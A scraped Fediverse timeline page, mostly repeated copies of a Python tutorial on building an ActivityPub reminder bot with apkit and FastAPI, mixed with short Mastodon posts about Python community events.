To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@hugovk@mastodon.social
🐍🏃➡️ We kicked off the first day of the #Python #CoreSprint at #Arm in #Cambridge with lots of talks and lots of discussion about talks!
Ken Jin - Building a JIT Community AND Demo [effect] of new C API
@antocuni - Tracing JITs on real code
@brettcannon - WASI update AND precompiled binaries from python.org
Hood Chatham - Upstreaming Pyodide FFI
@freakboy3742 - Managing cross-platform wheel builds
Steering Council - PEP 793 and abi3/abi3t/abi4
Matthew Parkinson - Designing Deep Immutability
@pythonbrasil@pynews.com.br
As inscrições para os tutoriais da Python Brasil 2025 abrem dia 22 de setembro, às 8h da manhã 🐍 🔥 E serão realizadas pelo Eventbrite (mesmo link dos ingressos de palestras)
Tutoriais são atividades gratuitas, e você pode se inscrever em mais de um tutorial (desde que os horários não sejam conflitantes).
Confira a programação 📅 e planeje com calma em quais dessas atividades incríveis você quer participar ♥️
@rzeta0@mathstodon.xyz
Although I've used python's matplotlib for years, it has always been a case of hacking together code snippets from the web.
Why? Because I don't think there is a unified, coherent, consistent design philosophy. If there is, I have never found it in all these years.
I keep reading that the Grammar of Graphics is the solution - an actually designed framework which has been implemented first and foremost in R, but python implementations exist too.
What do people think?
I'd welcome your thoughts before I invest time in learning some grammar of graphics and maybe trying a library like plotnine.
Are my expectations of Grammar of Graphics too high?
cc @nrennie
#python #R #ggplot2 #grammarofgraphics #visualisation #dataviz
@rzeta0@mathstodon.xyz
Although I've used python's matplotlib for years, it has always been a case of hacking together code snippets from the web.
Why? Because I don't think there is a unified, coherent, consistent design philosophy. If there is, I have never found it in all these years.
I keep reading that the Grammar of Graphics is the solution - an actually designed framework which has been implemented first and foremost in R, but python implementations exist too.
What do people think?
I'd welcome your thoughts before I invest time in learning some grammar of graphics and maybe trying a library like plotnine.
Are my expectations of Grammar of Graphics too high?
cc @nrennie
#python #R #ggplot2 #grammarofgraphics #visualisation #dataviz
@_scl@mastodon.social
Hi all, my name is Stuart but you can call me Stu.
I am a big fan of all sorts of #technology and also a very huge fan of #music of all types of different genres.
I love playing #golf and I love watching movies and TV shows.
@pythonbrasil@pynews.com.br
As inscrições para os tutoriais da Python Brasil 2025 abrem dia 22 de setembro, às 8h da manhã 🐍 🔥 E serão realizadas pelo Eventbrite (mesmo link dos ingressos de palestras)
Tutoriais são atividades gratuitas, e você pode se inscrever em mais de um tutorial (desde que os horários não sejam conflitantes).
Confira a programação 📅 e planeje com calma em quais dessas atividades incríveis você quer participar ♥️
@bug_elseif@bolha.us
Buenas pessoal!
Estão sabendo que eu serei Keynote da PySul esse ano?
Fiquei super feliz com esse convite, gostaria de convidar a todes para participar desse evento que será lindo como sempre.
Quem eu encontro lá ein (no evento ou no bar)??
Pega teu mate e te aprochega!
📅 21 a 23 de Novembro de 2025
📍 Porto Alegre - RS
https://sul.python.org.br/keynote-bruna-ferreira-bug-esleif-python-sul-2025/
@bug_elseif@bolha.us
Buenas pessoal!
Estão sabendo que eu serei Keynote da PySul esse ano?
Fiquei super feliz com esse convite, gostaria de convidar a todes para participar desse evento que será lindo como sempre.
Quem eu encontro lá ein (no evento ou no bar)??
Pega teu mate e te aprochega!
📅 21 a 23 de Novembro de 2025
📍 Porto Alegre - RS
https://sul.python.org.br/keynote-bruna-ferreira-bug-esleif-python-sul-2025/
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@villares@ciberlandia.pt
Should I make more T-shirts?
https://villares-shop.fourthwall.com/
https://umapenca.com/villares/
#Python #Processing #py5 #CreativeCoding #FLOSS #numpy #shapely #trimesh
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
from apkit.models import (
Actor, Application, CryptographicKey, Follow, Create, Note, Mention, Actor as APKitActor, OrderedCollection,
)
from apkit.client import WebfingerResource, WebfingerResult, WebfingerLink
from apkit.client.asyncio.client import ActivityPubClient
# --- Logging Setup ---
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# --- Basic Configuration ---
HOST = "your.host.com" # Replace with your domain
USER_ID = "reminder" # The bot's username
Make sure to replace your.host.com
with the actual domain where your bot will be hosted. These values determine your bot's unique identifier (e.g., @reminder@your.host.com
).
ActivityPub uses HTTP Signatures to secure communication between servers. This requires each actor to have a public/private key pair. The following code generates a private key and saves it to a file if one doesn't already exist.
# main.py (continued)
# --- Key Persistence ---
KEY_FILE = "private_key.pem"
# Load the private key if it exists, otherwise generate a new one
if os.path.exists(KEY_FILE):
logger.info(f"Loading existing private key from {KEY_FILE}.")
with open(KEY_FILE, "rb") as f:
private_key = crypto_serialization.load_pem_private_key(f.read(), password=None)
else:
logger.info(f"No key file found. Generating new private key and saving to {KEY_FILE}.")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(KEY_FILE, "wb") as f:
f.write(private_key.private_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PrivateFormat.PKCS8,
encryption_algorithm=crypto_serialization.NoEncryption()
))
# Generate the public key from the private key
public_key_pem = private_key.public_key().public_bytes(
encoding=crypto_serialization.Encoding.PEM,
format=crypto_serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
Next, we define the bot's Actor. The Actor is the bot's identity in the ActivityPub network. We use the Application
type, as this entity is automated.
# main.py (continued)
# --- Actor Definition ---
actor = Application(
id=f"https://{HOST}/actor",
name="Reminder Bot",
preferredUsername=USER_ID,
summary="A bot that sends you reminders. Mention me like: @reminder 5m Check the oven",
inbox=f"https://{HOST}/inbox", # Endpoint for receiving activities
outbox=f"https://{HOST}/outbox", # Endpoint for sending activities
publicKey=CryptographicKey(
id=f"https://{HOST}/actor#main-key",
owner=f"https://{HOST}/actor",
publicKeyPem=public_key_pem
)
)
We initialize the ActivityPubServer
from apkit
, providing it with a function to retrieve our Actor's keys for signing outgoing activities.
# main.py (continued)
# --- Key Retrieval Function ---
async def get_keys_for_actor(identifier: str) -> list[ActorKey]:
"""Returns the key for a given Actor ID."""
if identifier == actor.id:
return [ActorKey(key_id=actor.publicKey.id, private_key=private_key)]
return []
# --- Server Initialization ---
app = ActivityPubServer(apkit_config=AppConfig(
actor_keys=get_keys_for_actor # Register the key retrieval function
))
To serve created activities, we need to store them somewhere. For simplicity, this example uses a basic in-memory dictionary as a store and a cache. In a production application, you would replace this with a persistent database (like SQLite or PostgreSQL) and a proper cache (like Redis).
# main.py (continued)
# --- In-memory Store and Cache ---
ACTIVITY_STORE = {} # A simple dict to store created activities
CACHE = {} # A cache for recently accessed activities
CACHE_TTL = timedelta(minutes=5) # Cache expiration time (5 minutes)
This is the core logic of our bot. The parse_reminder
function uses a regular expression to extract the delay and message from a mention, and send_reminder
schedules the notification.
# main.py (continued)
# --- Reminder Parsing Logic ---
def parse_reminder(text: str) -> tuple[timedelta | None, str | None, str | None]:
"""Parses reminder text like '5m do something'."""
# ... (implementation omitted for brevity)
# --- Reminder Sending Function ---
async def send_reminder(ctx: Context, delay: timedelta, message: str, target_actor: APKitActor, original_note: Note):
"""Waits for a specified delay and then sends a reminder."""
logger.info(f"Scheduling reminder for {target_actor.id} in {delay}: '{message}'")
await asyncio.sleep(delay.total_seconds()) # Asynchronously wait
logger.info(f"Sending reminder to {target_actor.id}")
# Create the reminder Note
reminder_note = Note(...)
# Wrap it in a Create activity
reminder_create = Create(...)
# Store the created activities
ACTIVITY_STORE[reminder_note.id] = reminder_note
ACTIVITY_STORE[reminder_create.id] = reminder_create
# Send the activity to the target actor's inbox
keys = await get_keys_for_actor(f"https://{HOST}/actor")
await ctx.send(keys, target_actor, reminder_create)
logger.info(f"Reminder sent to {target_actor.id}")
We define the required ActivityPub endpoints. Since apkit
is built on FastAPI, we can use standard FastAPI decorators. The main endpoints are:
@user@host
. This is a crucial first step for federation.apkit
handles this route automatically, directing activities to the handlers we'll define in the next step.Here is the code for defining these endpoints:
# main.py (continued)
# The inbox endpoint is handled by apkit automatically.
app.inbox("/inbox")
@app.webfinger()
async def webfinger_endpoint(request: Request, acct: WebfingerResource) -> Response:
"""Handles Webfinger requests to make the bot discoverable."""
if not acct.url:
# Handle resource queries like acct:user@host
if acct.username == USER_ID and acct.host == HOST:
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
else:
# Handle resource queries using a URL
if acct.url == f"https://{HOST}/actor":
link = WebfingerLink(rel="self", type="application/activity+json", href=actor.id)
wf_result = WebfingerResult(subject=acct, links=[link])
return JSONResponse(wf_result.to_json(), media_type="application/jrd+json")
return JSONResponse({"message": "Not Found"}, status_code=404)
@app.get("/actor")
async def get_actor_endpoint():
"""Serves the bot's Actor object."""
return ActivityResponse(actor)
@app.get("/outbox")
async def get_outbox_endpoint():
"""Serves a collection of the bot's sent activities."""
items = sorted(ACTIVITY_STORE.values(), key=lambda x: x.id, reverse=True)
outbox_collection = OrderedCollection(
id=actor.outbox,
totalItems=len(items),
orderedItems=items
)
return ActivityResponse(outbox_collection)
@app.get("/notes/{note_id}")
async def get_note_endpoint(note_id: uuid.UUID):
"""Serves a specific Note object, with caching."""
note_uri = f"https://{HOST}/notes/{note_id}"
# Check cache first
if note_uri in CACHE and (datetime.now() - CACHE[note_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[note_uri]["activity"])
# If not in cache, get from store
if note_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[note_uri]
# Add to cache before returning
CACHE[note_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404) # Not Found
@app.get("/creates/{create_id}")
async def get_create_endpoint(create_id: uuid.UUID):
"""Serves a specific Create activity, with caching."""
create_uri = f"https://{HOST}/creates/{create_id}"
if create_uri in CACHE and (datetime.now() - CACHE[create_uri]["timestamp"]) < CACHE_TTL:
return ActivityResponse(CACHE[create_uri]["activity"])
if create_uri in ACTIVITY_STORE:
activity = ACTIVITY_STORE[create_uri]
CACHE[create_uri] = {"activity": activity, "timestamp": datetime.now()}
return ActivityResponse(activity)
return Response(status_code=404)
We use the @app.on()
decorator to define handlers for specific activity types posted to our inbox.
Follow
requests.Create
activities (specifically for Note
objects) to schedule reminders.# main.py (continued)
# Handler for Follow activities
@app.on(Follow)
async def on_follow_activity(ctx: Context):
"""Automatically accepts follow requests."""
# ... (implementation omitted for brevity)
# Handler for Create activities
@app.on(Create)
async def on_create_activity(ctx: Context):
"""Parses mentions to schedule reminders."""
activity = ctx.activity
# Ignore if it's not a Note
if not (isinstance(activity, Create) and isinstance(activity.object, Note)):
return Response(status_code=202)
note = activity.object
# Check if the bot was mentioned
is_mentioned = any(
isinstance(tag, Mention) and tag.href == actor.id for tag in (note.tag or [])
)
if not is_mentioned:
return Response(status_code=202)
# ... (Parse reminder text)
delay, message, time_str = parse_reminder(command_text)
# If parsing is successful, schedule the reminder as a background task
if delay and message and sender_actor:
asyncio.create_task(send_reminder(ctx, delay, message, sender_actor, note))
reply_content = f"<p>✅ OK! I will remind you in {time_str}.</p>"
else:
# If parsing fails, send usage instructions
reply_content = "<p>🤔 Sorry, I didn\'t understand. Please use the format: `@reminder [time] [message]`.</p><p>Example: `@reminder 10m Check the oven`</p>"
# ... (Create and send the reply Note)
Finally, we run the application using uvicorn
.
# main.py (continued)
if __name__ == "__main__":
import uvicorn
logger.info("Starting uvicorn server...")
uvicorn.run(app, host="0.0.0.0", port=8000)
Set the HOST
and USER_ID
variables in main.py
to match your environment.
Run the server from your terminal:
uvicorn main:app --host 0.0.0.0 --port 8000
Your bot will be running at http://0.0.0.0:8000
.
Now you can mention your bot from anywhere in the Fediverse (e.g., @reminder@your.host.com
) to set a reminder.
This tutorial covers the basics of creating a simple ActivityPub bot. Since it only uses in-memory storage, all reminders will be lost on server restart. Here are some potential improvements:
ACTIVITY_STORE
with a database like SQLite or PostgreSQL.We hope this guide serves as a good starting point for building your own ActivityPub applications!
https://fedi-libs.github.io/apkit/
@cocoa@hackers.pub
This tutorial will guide you through building a simple ActivityPub bot using Python. The bot will listen for mentions and, when it receives a message in a specific format, it will schedule and send a reminder back to the user after a specified delay.
For example, if a user mentions the bot with a message like "@reminder@your.host.com 10m check the oven
", the bot will reply 10 minutes later with a message like "🔔 Reminder for @user: check the oven
".
To follow this tutorial, you will need Python 3.10+ and the following libraries:
server
extra, which includes FastAPI-based components.You can install these dependencies using uv
or pip
.
# Initialize a new project with uv
uv init
# Install dependencies
uv add "apkit[server]" uvicorn cryptography
The project structure is minimal, consisting of a single Python file for our bot's logic.
.
├── main.py
└── private_key.pem
main.py
: Contains all the code for the bot.private_key.pem
: The private key for the bot's Actor. This will be generated automatically on the first run.Our application logic can be broken down into the following steps:
apkit
ActivityPub server./actor
, /inbox
, etc.).Let's dive into each section of the main.py
file.
First, we import the necessary modules and define the basic configuration for our bot.
# main.py
import asyncio
import logging
import re
import uuid
import os
from datetime import timedelta, datetime
# Imports from FastAPI, cryptography, and apkit
from fastapi import Request, Response
from fastapi.responses import JSONResponse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization as crypto_serialization
from apkit.config import AppConfig
from apkit.server import ActivityPubServer
from apkit.server.types import Context, ActorKey
from apkit.server.responses import ActivityResponse
